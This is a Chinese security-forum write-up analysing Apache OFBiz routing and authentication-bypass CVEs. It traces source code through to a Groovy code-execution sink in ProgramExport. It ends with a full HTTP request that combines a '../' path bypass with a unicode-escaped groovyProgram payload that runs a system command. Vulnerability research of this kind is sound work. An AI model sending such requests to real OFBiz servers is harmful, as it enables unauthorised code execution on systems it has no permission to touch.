问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-38856 Apache OFBiz Authentication Bypass
漏洞分析
自去年CVE-2023-51467爆出后,起初我是不太想再看这个系统了,但年初连续的三个权限绕过相关的CVE编号又让我产生了好奇,随着对三个历史漏洞分析的过程中,我也发现这三个漏洞的影响面其实并没有特别严重,但思路值得学习但随着进一步的深入分析,最终找到了一个新的利用方式
写在前面 ---- 自去年CVE-2023-51467爆出后,起初我是不太想再看这个系统了,但年初连续的三个权限绕过相关的CVE编号(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104)又让我产生了好奇,随着对三个历史漏洞分析的过程中,我也发现这三个漏洞的影响面其实并没有特别严重,但思路值得学习(本质是低权限账号提权,利用前提是需要知道低权限账号的密码),但随着进一步的深入分析,最终找到了一个新的利用方式,捡了一个前台RCE,在下文中,我将先对路由与鉴权做简单分析并穿插分析历史CVE的成因(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104),最后分享CVE-2024-38856的利用以及一些对抗流量设备的点 路由与鉴权 ----- (声明:以下仅介绍与漏洞相关必要代码) Apache OFBiz的路由统一由`org.apache.ofbiz.webapp.control.ControlServlet`处理,在其`doGET/doPOST`方法中,首先用大量的代码完成了请求相关环境的初始化(字符集、日志以及上下文等),其后对具体的请求处理逻辑则是通过RequestHandler处理 ![image-20240623202154411.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7701ba0774018c6d3b4bd5b84a35c5df316b5bb8.png) 可以看到在`org.apache.ofbiz.webapp.control.RequestHandler#doRequest`中 首先加载了配置信息,它会根据我们请求的上下文环境,解析配置文件`webapp/xxxxx/WEB-INF/controller.xml`,为方便讲解下文中的ControllerConfig统一用ccfg代替 ```java // org.apache.ofbiz.webapp.control.RequestHandler // Parse controller config. try { ccfg \= new ControllerConfig(getControllerConfig()); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module); throw new RequestHandlerException(e); } public ConfigXMLReader.ControllerConfig getControllerConfig() { try { return ConfigXMLReader.getControllerConfig(this.controllerConfigURL); } catch (WebAppConfigurationException e) { // FIXME: controller.xml errors should throw an exception. Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module); } return null; } ``` 这里以`webapp/partymgr/WEB-INF/controller.xml`为例 简单看看这个配置文件,在前几行引入了一些通用的配置,另外在这里的注释中也提示我们如果存在`preprocessor/postprocessor`标签分别会执行预处理与后处理操作 ```xml <include location\="component://common/webcommon/WEB-INF/common-controller.xml"/> <include location\="component://common/webcommon/WEB-INF/security-controller.xml"/> <include location\="component://commonext/webapp/WEB-INF/controller.xml"/> <include location\="component://content/webapp/content/WEB-INF/controller.xml"/> <description\>Party Manager Module Site Configuration File</description\> <handler name\="simplecontent" type\="view" class\="org.apache.ofbiz.content.view.SimpleContentViewHandler"/> <!-- Events to run on every request before security (chains exempt) --> <!-- <preprocessor> </preprocessor> \--> <!-- Events to run on every request after all other processing (chains exempt) --> <!-- <postprocessor> <event name="test" type="java" path="org.apache.ofbiz.webapp.event.TestEvent" invoke="test"/> </postprocessor> \--> ``` 在此配置文件中剩余部分则以路由以及路由属性相关配置为主 ![image-20240623203146560.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-de751b9b73f69754209f07ed6eb04adda7a53696.png) 在下文分析时,我们以登录路由`/partymgr/control/login`为例 从下面的代码来看,首先会根据我们请求的路径从ccfg中尝试匹配并取得对应配置 ```java String path \= request.getPathInfo(); String requestUri \= getRequestUri(path); String overrideViewUri \= getOverrideViewUri(path); Collection<RequestMap\> rmaps \= resolveURI(ccfg, request); if (rmaps.isEmpty()) { if (throwRequestHandlerExceptionOnMissingLocalRequest) { throw new RequestHandlerException(requestMissingErrorMessage); } else { throw new RequestHandlerExceptionAllowExternalRequests(); } } String method \= request.getMethod(); RequestMap requestMap \= resolveMethod(method, rmaps).orElseThrow(() \-> { String msg \= UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig", UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request)); return new MethodNotAllowedException(msg); }); ``` 而我们的login则在一开始引入的通用配置`webcommon/WEB-INF/common-controller.xml`中 此配置文件开头先是定义了预处理与后处理相关事件操作,再往后看不难发现login相关配置,这里我们需要关注几个属性,security标签中的auth决定是否需要登录,event标签定义了如何处理事件,response标签定义返回类型 ```xml <preprocessor\> <!-- Events to run on every request before security (chains exempt) --> <event name\="check509CertLogin" type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="check509CertLogin"/> <event name\="checkRequestHeaderLogin" type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="checkRequestHeaderLogin"/> <event name\="checkServletRequestRemoteUserLogin" type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="checkServletRequestRemoteUserLogin"/> <event name\="checkExternalLoginKey" type\="java" path\="org.apache.ofbiz.webapp.control.ExternalLoginKeysManager" invoke\="checkExternalLoginKey"/> <event name\="checkJWTLogin" type\="java" path\="org.apache.ofbiz.webapp.control.JWTManager" invoke\="checkJWTLogin"/> <event name\="checkProtectedView" type\="java" path\="org.apache.ofbiz.webapp.control.ProtectViewWorker" invoke\="checkProtectedView"/> <event name\="extensionConnectLogin" type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="extensionConnectLogin"/> </preprocessor\> <postprocessor\> <!-- Events to run on every request after all other processing (chains exempt) --> </postprocessor\> xxxx省略xxxx <request-map uri\="login"\> <security https\="true" auth\="false"/> <event type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="login"/> <response name\="success" type\="view" value\="main"/> <response name\="requirePasswordChange" type\="view" value\="requirePasswordChange"/> <response name\="error" type\="view" value\="login"/> </request-map\> ``` 继续回到我们的RequestHandler执行析,由于我们第一次进入不是链式请求(ControlServet中执行时定义了chain为null),所以这里我们直接看else分支,跳过部分无关代码 首先会执行我们的预处理事件,这其中包含了证书校验、是否通过header登录、JWT登录、多身份视图权限等(漏洞无关,感兴趣可自行看代码) ```java if (chain != null) { xxxxxxxxxxx } else { xxxxxxxxxxx // Invoke the pre-processor (but NOT in a chain) for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) { try { String returnString \= this.runEvent(request, response, event, null, "preprocessor"); if (returnString \== null || "none".equalsIgnoreCase(returnString)) { interruptRequest \= true; } else if (!"success".equalsIgnoreCase(returnString)) { if (!returnString.contains(":\_protect\_:")) { throw new EventHandlerException("Pre-Processor event \[" + event.invoke + "\] did not return 'success'."); } else { // protect the view normally rendered and redirect to error response view returnString \= returnString.replace(":\_protect\_:", ""); if (returnString.length() \> 0) { request.setAttribute("\_ERROR\_MESSAGE\_", returnString); } eventReturn \= null; if (!requestMap.requestResponseMap.containsKey("protect")) { if (ccfg.getProtectView() != null) { overrideViewUri \= ccfg.getProtectView(); } else { overrideViewUri \= EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator); overrideViewUri \= overrideViewUri.replace("view:", ""); if ("none:".equals(overrideViewUri)) { interruptRequest \= true; } } } } } } catch (EventHandlerException e) { Debug.logError(e, module); } } } ``` 如果以上预处理均通过之后,接下来则会判断路由是否需要认证 ![image-20240623212746207.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-92f46ce4d11a43535270008811e2a6a1aeca4009.png) 如果需要认证则会取`checkLogin`对应的事件做处理并判断,从配置中可以看到,这个校验是通过方法`org.apache.ofbiz.webapp.control.LoginWorker#extensionCheckLogin`完成(还记得么,CVE-2023-49070就是通过?USERNAME=&PASSWORD=s&requirePasswordChange=Y绕过了此处的登录校验) ```xml <request-map uri\="checkLogin"\> <description\>Verify a user is logged in.</description\> <security https\="true" auth\="false"/> <event type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="extensionCheckLogin"/> <response name\="success" type\="view" value\="main"/> <response name\="impersonated" type\="view" value\="impersonated"/> <response name\="error" type\="view" value\="login"/> </request-map\> ``` 在之后则会调用我们url相关配置中对应的事件(这里需要注意如果事件返回为空则 ```java nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse) // Invoke the defined event (unless login failed) if (eventReturn \== null && requestMap.event != null) { if (requestMap.event.type != null && requestMap.event.path != null && requestMap.event.invoke != null) { try { long eventStartTime \= System.currentTimeMillis(); // run the request event eventReturn \= this.runEvent(request, response, requestMap.event, requestMap, "request"); if (requestMap.event.metrics != null) { requestMap.event.metrics.recordServiceRate(1, System.currentTimeMillis() \- startTime); } // save the server hit for the request event if (this.trackStats(request)) { ServerHitBin.countEvent(cname + "." + requestMap.event.invoke, request, eventStartTime, System.currentTimeMillis() \- eventStartTime, userLogin); } // set the default event return if (eventReturn \== null) { nextRequestResponse \= ConfigXMLReader.emptyNoneRequestResponse; } } catch (EventHandlerException e) { // check to see if there is an "error" response, if so go there and make an request error message if (requestMap.requestResponseMap.containsKey("error")) { eventReturn \= "error"; Locale locale \= UtilHttp.getLocale(request); String errMsg \= UtilProperties.getMessage("WebappUiLabels", "requestHandler.error\_call\_event", locale); request.setAttribute("\_ERROR\_MESSAGE\_", errMsg + ": " + e.toString()); } else { throw new RequestHandlerException("Error calling event and no error response was specified", e); } } } } ``` 对于我们举例说明的login,从配置看则是调用`org.apache.ofbiz.webapp.control.LoginWorker#login`完成登录 ```xml <request-map uri\="login"\> <security https\="true" auth\="false"/> <event type\="java" path\="org.apache.ofbiz.webapp.control.LoginWorker" invoke\="login"/> <response name\="success" type\="view" value\="main"/> <response name\="requirePasswordChange" type\="view" value\="requirePasswordChange"/> <response name\="error" type\="view" value\="login"/> </request-map\> ``` 接下来的代码逻辑,如果登陆不成功,则会重定向跳转并返回 ```java // if previous request exists, and a login just succeeded, do that now. if (previousRequest != null && loginPass != null && "TRUE".equalsIgnoreCase(loginPass)) { request.getSession().removeAttribute("\_PREVIOUS\_REQUEST\_"); // special case to avoid login/logout looping: if request was "logout" before the login, change to null for default success view; do the same for "login" to avoid going back to the same page if ("logout".equals(previousRequest) || "/logout".equals(previousRequest) || "login".equals(previousRequest) || "/login".equals(previousRequest) || "checkLogin".equals(previousRequest) || "/checkLogin".equals(previousRequest) || "/checkLogin/login".equals(previousRequest)) { Debug.logWarning("Found special \_PREVIOUS\_REQUEST\_ of \[" + previousRequest + "\], setting to null to avoid problems, not running request again", module); } else { if (Debug.infoOn()) Debug.logInfo("\[Doing Previous Request\]: " + previousRequest + showSessionId(request), module); // note that the previous form parameters are not setup (only the URL ones here), they will be found in the session later and handled when the old request redirect comes back Map<String, Object\> previousParamMap \= UtilGenerics.checkMap(request.getSession().getAttribute("\_PREVIOUS\_PARAM\_MAP\_URL\_"), String.class, Object.class); String queryString \= UtilHttp.urlEncodeArgs(previousParamMap, false); String redirectTarget \= previousRequest; if (UtilValidate.isNotEmpty(queryString)) { redirectTarget += "?" + queryString; } callRedirect(makeLink(request, response, redirectTarget), response, request, ccfg.getStatusCodeString()); return; } } ConfigXMLReader.RequestResponse successResponse \= requestMap.requestResponseMap.get("success"); ``` 如果成功则继续向下执行,接下来会根据我们的返回结果选择对应视图 ```java // 设置下一个视图(如果成功,则不使用事件返回,而默认使用下一个视图(如果为 null,则稍后将其设置为 eventReturn);即使成功,如果响应类型为“none”,也忽略下一个视图,换句话说使用 eventReturn) if (eventReturnBasedRequestResponse != null && (!"success".equals(eventReturnBasedRequestResponse.name) || "none".equals(eventReturnBasedRequestResponse.type))) nextRequestResponse \= eventReturnBasedRequestResponse; ConfigXMLReader.RequestResponse successResponse \= requestMap.requestResponseMap.get("success"); if ((eventReturn \== null || "success".equals(eventReturn)) && successResponse != null && "request".equals(successResponse.type)) { // chains will override any url defined views; but we will save the view for the very end if (UtilValidate.isNotEmpty(overrideViewUri)) { request.setAttribute("\_POST\_CHAIN\_VIEW\_", overrideViewUri); } nextRequestResponse \= successResponse; } // Make sure we have some sort of response to go to if (nextRequestResponse \== null) nextRequestResponse \= successResponse; if (nextRequestResponse \== null) { throw new RequestHandlerException("Illegal response; handler could not process request \[" + requestMap.uri + "\] and event return \[" + eventReturn + "\]."); } ``` 根据视图类型决定下一步操作的执行 ```java if ("url".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a URL redirect." + showSessionId(request), module); callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString()); } else if ("url-redirect".equals(nextRequestResponse.type)) { // check for a cross-application redirect if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a URL redirect with redirect parameters." + showSessionId(request), module); callRedirect(nextRequestResponse.value + this.makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("cross-redirect".equals(nextRequestResponse.type)) { // check for a cross-application redirect if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a Cross-Application redirect." + showSessionId(request), module); String url \= nextRequestResponse.value.startsWith("/") ? nextRequestResponse.value : "/" + nextRequestResponse.value; callRedirect(url + this.makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a Request redirect." + showSessionId(request), module); callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect-noparam".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a Request redirect with no parameters." + showSessionId(request), module); callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString()); } else if ("view".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a view." + showSessionId(request), module); // check for an override view, only used if "success" = eventReturn String viewName \= (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn \== null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName); } else if ("view-last".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a view." + showSessionId(request), module); // check for an override view, only used if "success" = eventReturn String viewName \= (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn \== null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // as a further override, look for the \_SAVED and then \_HOME and then \_LAST session attributes Map<String, Object\> urlParams \= null; if (session.getAttribute("\_SAVED\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_SAVED\_VIEW\_NAME\_"); urlParams \= UtilGenerics.<String, Object\>checkMap(session.getAttribute("\_SAVED\_VIEW\_PARAMS\_")); } else if (session.getAttribute("\_HOME\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_HOME\_VIEW\_NAME\_"); urlParams \= UtilGenerics.<String, Object\>checkMap(session.getAttribute("\_HOME\_VIEW\_PARAMS\_")); } else if (session.getAttribute("\_LAST\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_LAST\_VIEW\_NAME\_"); urlParams \= UtilGenerics.<String, Object\>checkMap(session.getAttribute("\_LAST\_VIEW\_PARAMS\_")); } else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName \= nextRequestResponse.value; } if (UtilValidate.isEmpty(viewName) && UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName \= nextRequestResponse.value; } if (urlParams != null) { for (Map.Entry<String, Object\> urlParamEntry: urlParams.entrySet()) { String key \= urlParamEntry.getKey(); // Don't overwrite messages coming from the current event if (!("\_EVENT\_MESSAGE\_".equals(key) || "\_ERROR\_MESSAGE\_".equals(key) || "\_EVENT\_MESSAGE\_LIST\_".equals(key) || "\_ERROR\_MESSAGE\_LIST\_".equals(key))) { request.setAttribute(key, urlParamEntry.getValue()); } } } renderView(viewName, requestMap.securityExternalView, request, response, null); } else if ("view-last-noparam".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a view." + showSessionId(request), module); // check for an override view, only used if "success" = eventReturn String viewName \= (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn \== null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // as a further override, look for the \_SAVED and then \_HOME and then \_LAST session attributes if (session.getAttribute("\_SAVED\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_SAVED\_VIEW\_NAME\_"); } else if (session.getAttribute("\_HOME\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_HOME\_VIEW\_NAME\_"); } else if (session.getAttribute("\_LAST\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_LAST\_VIEW\_NAME\_"); } else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName \= nextRequestResponse.value; } renderView(viewName, requestMap.securityExternalView, request, response, null); } else if ("view-home".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a view." + showSessionId(request), module); // check for an override view, only used if "success" = eventReturn String viewName \= (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn \== null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; // as a further override, look for the \_HOME session attributes Map<String, Object\> urlParams \= null; if (session.getAttribute("\_HOME\_VIEW\_NAME\_") != null) { viewName \= (String) session.getAttribute("\_HOME\_VIEW\_NAME\_"); urlParams \= UtilGenerics.<String, Object\>checkMap(session.getAttribute("\_HOME\_VIEW\_PARAMS\_")); } if (urlParams != null) { for (Map.Entry<String, Object\> urlParamEntry: urlParams.entrySet()) { request.setAttribute(urlParamEntry.getKey(), urlParamEntry.getValue()); } } renderView(viewName, requestMap.securityExternalView, request, response, null); } else if ("none".equals(nextRequestResponse.type)) { // no view to render (meaning the return was processed by the event) if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is handled by the event." + showSessionId(request), module); } ``` 如果登陆成功,则会渲染value对应的视图(可以看到view对应的value都是一些路由=>你发现了什么,如果发现了可以先自己看看,没有则继续看我分析) ```xml <response name\="success" type\="view" value\="main"/> <response name\="requirePasswordChange" type\="view" value\="requirePasswordChange"/> <response name\="error" type\="view" value\="login"/> ``` 这里为方便理解其后的漏洞场景,这里我们换一个路由,以ProgramExport为例,查看对应配置,可以看到无论response如何响应其视图都是ProgramExport ```xml <request\-map uri\="ProgramExport"\> <security https\="true" auth\="true"/> <response name\="success" type\="view" value\="ProgramExport"/> <response name\="error" type\="view" value\="ProgramExport"/> </request\-map\> ``` 那么接下来我们来简单看看renderView是如何处理的,为方便理解这里我手动去除了大量漏洞主题无关代码,我们主要关注以下部分 ```java private void renderView(String view, boolean allowExtView, HttpServletRequest req, HttpServletResponse resp, String saveName) throws RequestHandlerException { xxxxxxxxxxxxxxxxx if (viewMap.page \== null) { if (!allowExtView) { throw new RequestHandlerException("No view to render."); } else { nextPage \= "/" + oldView; } } else { nextPage \= viewMap.page; } ConfigXMLReader.ViewMap viewMap \= null; try { viewMap \= (view \== null ? null : getControllerConfig().getViewMapMap().get(view)); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module); throw new RequestHandlerException(e); } if (viewMap \== null) { throw new RequestHandlerException("No definition found for view with name \[" + view + "\]"); } xxxxxxxxxxxxxxxxx try { if (Debug.verboseOn()) Debug.logVerbose("Rendering view \[" + nextPage + "\] of type \[" + viewMap.type + "\]", module); ViewHandler vh \= viewFactory.getViewHandler(viewMap.type); vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp); } catch (ViewHandlerException e) { Throwable throwable \= e.getNested() != null ? e.getNested() : e; throw new RequestHandlerException(e.getNonNestedMessage(), throwable); } xxxxxxxxxxxxxxxxx } public ConfigXMLReader.ControllerConfig getControllerConfig() { try { return ConfigXMLReader.getControllerConfig(this.controllerConfigURL); } catch (WebAppConfigurationException e) { // FIXME: controller.xml errors should throw an exception. Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module); } return null; } private RequestHandler(ServletContext context) { this.controllerConfigURL \= ConfigXMLReader.getControllerConfigURL(context); try { ConfigXMLReader.getControllerConfig(this.controllerConfigURL); } catch (WebAppConfigurationException e) { } xxxxxxxxx } ``` 解析的配置对应配置文件中的这部分,type为screen对应`MacroScreenViewHandler`(对应配置文件下handler标签下type为view的配置),page对应nextPage也就是`component://webtools/widget/EntityScreens.xml#ProgramExport` ```xml <view-map name\="ProgramExport" type\="screen" page\="component://webtools/widget/EntityScreens.xml#ProgramExport"/> ``` 接下来render的流程比较复杂,这里就不再一点一点分析了,简单来说就是根据nextPage解析对应字段参数,在这里即为`EntityScreens.xml`中的`screen`为`ProgramExport`的部分,对于其中的script字段也会去尝试解析执行`ProgramExport.groovy` ```xml <screen name\="ProgramExport"\> <section\> <actions\> <set field\="titleProperty" value\="PageTitleEntityExportAll"/> <set field\="tabButtonItem" value\="programExport"/> <script location\="component://webtools/groovyScripts/entity/ProgramExport.groovy"/> </actions\> <widgets\> <decorator-screen name\="CommonImportExportDecorator" location\="${parameters.mainDecoratorLocation}"\> <decorator-section name\="body"\> <screenlet\> <include-form name\="ProgramExport" location\="component://webtools/widget/MiscForms.xml"/> </screenlet\> <screenlet\> <platform-specific\> <html\><html-template location\="component://webtools/template/entity/ProgramExport.ftl"/></html\> </platform-specific\> </screenlet\> </decorator-section\> </decorator-screen\> </widgets\> </section\> </screen\> ``` 查看`ProgramExport.groovy`,可以见得字段`groovyProgram`可控,从而造成任意代码执行,当然这里面还有一些代码限制,在上一次漏洞分析时我们已经提过了,这里就不再重复分析了 ```java import org.apache.ofbiz.entity.Delegator import org.apache.ofbiz.entity.GenericValue import org.apache.ofbiz.entity.model.ModelEntity import org.apache.ofbiz.base.util.\* import org.apache.ofbiz.security.SecuredUpload import org.w3c.dom.Document import org.codehaus.groovy.control.customizers.ImportCustomizer import org.codehaus.groovy.control.CompilerConfiguration import org.codehaus.groovy.control.MultipleCompilationErrorsException import org.codehaus.groovy.control.ErrorCollector String groovyProgram \= null recordValues \= \[\] errMsgList \= \[\] if (!parameters.groovyProgram) { groovyProgram \= ''' // Use the List variable recordValues to fill it with GenericValue maps. // full groovy syntaxt is available import org.apache.ofbiz.entity.util.EntityFindOptions // example: // find the first three record in the product entity (if any) EntityFindOptions findOptions = new EntityFindOptions() findOptions.setMaxRows(3) List products = delegator.findList("Product", null, null, null, findOptions, false) if (products != null) { recordValues.addAll(products) } ''' parameters.groovyProgram \= groovyProgram } else { groovyProgram \= parameters.groovyProgram } // Add imports for script. def importCustomizer \= new ImportCustomizer() importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue") importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity") def configuration \= new CompilerConfiguration() configuration.addCompilationCustomizers(importCustomizer) Binding binding \= new Binding() binding.setVariable("delegator", delegator) binding.setVariable("recordValues", recordValues) ClassLoader loader \= Thread.currentThread().getContextClassLoader() def shell \= new GroovyShell(loader, binding, configuration) if (UtilValidate.isNotEmpty(groovyProgram)) { try { // Check if a webshell is not uploaded but allow "import" if (!SecuredUpload.isValidText(groovyProgram, \["import"\])) { logError("================== Not executed for security reason ==================") request.setAttribute("\_ERROR\_MESSAGE\_", "Not executed for security reason") return } shell.parse(groovyProgram) shell.evaluate(groovyProgram) recordValues \= shell.getVariable("recordValues") xmlDoc \= GenericValue.makeXmlDocument(recordValues) context.put("xmlDoc", xmlDoc) } catch(MultipleCompilationErrorsException e) { request.setAttribute("\_ERROR\_MESSAGE\_", e) return } catch(groovy.lang.MissingPropertyException e) { request.setAttribute("\_ERROR\_MESSAGE\_", e) return } catch(IllegalArgumentException e) { request.setAttribute("\_ERROR\_MESSAGE\_", e) return } catch(NullPointerException e) { request.setAttribute("\_ERROR\_MESSAGE\_", e) return } catch(Exception e) { request.setAttribute("\_ERROR\_MESSAGE\_", e) return } } ``` 接下来,在我们简单了解了整个解析流程后,我们再来看看这三个连续出现的CVE就显得不那么困难了 浅析连续出现三次的权限绕过漏洞 --------------- 在一开始流程分析我们更需要注重对流程的分析,在漏洞分析过程我们则更需要注重具体的细节 之前网上发的Payload其实和这个CVE的漏洞没啥关系(/webtools/control/forgotPassowrd/../ProgramExport压根就不会走到这个权限校验的逻辑),这三个CVE本质是checkLogin事件中绕过`org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission`实现低权限用户的权限提升 分析前我先创建一个最小权限的账号(甚至没有正常登录后台的权限)(PS:此截图来源于V18.12.12),这个漏洞的作用就能帮助我们完成垂直越权 ![image-20240623232919733.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-70440537db9ecfa574ccb91138b8c3d4c4ac2b19.png) ### CVE-2024-25065 #### 权限绕过浅析 对账号的访问权限部分由`org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission`控制 在这里很显然只要我们能够让info为null即可跳过判断,查看`ComponentConfig.getWebAppInfo`的代码我们不难发现,判断条件是`equals`,因此只要我们能让其不相等即可,而这个`contextPath`变量来源于`request.getContextPath()`的执行结果 ```java // org.apache.ofbiz.webapp.control.LoginWorker public static boolean hasBasePermission(GenericValue userLogin, HttpServletRequest request) { Security security \= (Security) request.getAttribute("security"); if (security != null) { ServletContext context \= request.getServletContext(); String serverId \= (String) context.getAttribute("\_serverId"); // get a context path from the request, if it is empty then assume it is the root mount point String contextPath \= request.getContextPath(); if (UtilValidate.isEmpty(contextPath)) { contextPath \= "/"; } ComponentConfig.WebappInfo info \= ComponentConfig.getWebAppInfo(serverId, contextPath); if (info != null) { return hasApplicationPermission(info, security, userLogin); } else { if (Debug.infoOn()) { Debug.logInfo("No webapp configuration found for : " + serverId + " / " + contextPath, module); } } } else { if (Debug.warningOn()) { Debug.logWarning("Received a null Security object from HttpServletRequest", module); } } return true; } // org.apache.ofbiz.base.component.ComponentConfig public static WebappInfo getWebAppInfo(String serverName, String contextRoot) { if (serverName \== null || contextRoot \== null) { return null; } ComponentConfig.WebappInfo info \= null; for (ComponentConfig cc : getAllComponents()) { for (WebappInfo wInfo : cc.getWebappInfos()) { if (serverName.equals(wInfo.server) && contextRoot.equals(wInfo.getContextRoot())) { info \= wInfo; } } } return info; } ``` 这里为了方便大家的理解,我们可以看一下具体的函数实现 在`org.apache.catalina.connector.Request#getContextPath`中,可以看到函数的返回与`match`相关 我们只需保证`candidate`与`canonicalContextPath`相等即可让match返回true(`match = canonicalContextPath.equals(candidate);`),而`candidate`的值是通过while循环取得,每次多取一级子目录的值,并经过url解码以及normalize后即为其值 因此我们很容易构造出这样的URL`/y4tacker/../webtools/control/login`,这样`ContextPath`的值中就会带上`/y4tacker/../`,显然不会再与配置中的值相等,从而实现绕过 ```java /\*\* \* Return the portion of the request URI used to select the Context of the Request. The value returned is not \* decoded which also implies it is not normalised. \*/ @Override public String getContextPath() { int lastSlash \= mappingData.contextSlashCount; // Special case handling for the root context if (lastSlash \== 0) { return ""; } String canonicalContextPath \= getServletContext().getContextPath(); String uri \= getRequestURI(); int pos \= 0; if (!getContext().getAllowMultipleLeadingForwardSlashInPath()) { // Ensure that the returned value only starts with a single '/'. // This prevents the value being misinterpreted as a protocol- // relative URI if used with sendRedirect(). do { pos++; } while (pos < uri.length() && uri.charAt(pos) \== '/'); pos\--; uri \= uri.substring(pos); } char\[\] uriChars \= uri.toCharArray(); // Need at least the number of slashes in the context path while (lastSlash \> 0) { pos \= nextSlash(uriChars, pos + 1); if (pos \== \-1) { break; } lastSlash\--; } // Now allow for path parameters, normalization and/or encoding. // Essentially, keep extending the candidate path up to the next slash // until the decoded and normalized candidate path (with the path // parameters removed) is the same as the canonical path. String candidate; if (pos \== \-1) { candidate \= uri; } else { candidate \= uri.substring(0, pos); } candidate \= removePathParameters(candidate); candidate \= UDecoder.URLDecode(candidate, connector.getURICharset()); candidate \= org.apache.tomcat.util.http.RequestUtil.normalize(candidate); boolean match \= canonicalContextPath.equals(candidate); while (!match && pos != \-1) { pos \= nextSlash(uriChars, pos + 1); if (pos \== \-1) { candidate \= uri; } else { candidate \= uri.substring(0, pos); } candidate \= removePathParameters(candidate); candidate \= UDecoder.URLDecode(candidate, connector.getURICharset()); candidate \= org.apache.tomcat.util.http.RequestUtil.normalize(candidate); match \= canonicalContextPath.equals(candidate); } if (match) { if (pos \== \-1) { return uri; } else { return uri.substring(0, pos); } } else { // Should never happen throw new IllegalStateException( sm.getString("coyoteRequest.getContextPath.ise", canonicalContextPath, uri)); } } ``` #### 为什么这及个老漏洞利用必须要求登录 这是很多人都会犯错的地方,以为直接带个`../`就行了,事后问为什么我不能复现 以下面的数据包为例,通过低权限账号发包后替换Cookie中的JSESSIONID即可(但前提是一定要有账号,账号可以没有任何端点的访问权限) ```http POST /y4tacker/../webtools/control/ProgramExport HTTP/1.1 Host: 127.0.0.1:8080 X-Forwarded-Proto: HTTPS Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=BF2814CAF9E77F1F1C7A7DD49465D0B6.jvm1; Path=/webtools; HttpOnly User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 200 USERNAME=y4tacker&PASSWORD=y4tacker123&JavaScriptEnabled=Y&groovyProgram=\\u0022\\u006f\\u0070\\u0065\\u006e\\u0020\\u002d\\u006e\\u0061\\u0020\\u0043\\u0061\\u006c\\u0063\\u0075\\u006c\\u0061\\u0074\\u006f\\u0072\\u0022\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029 ``` 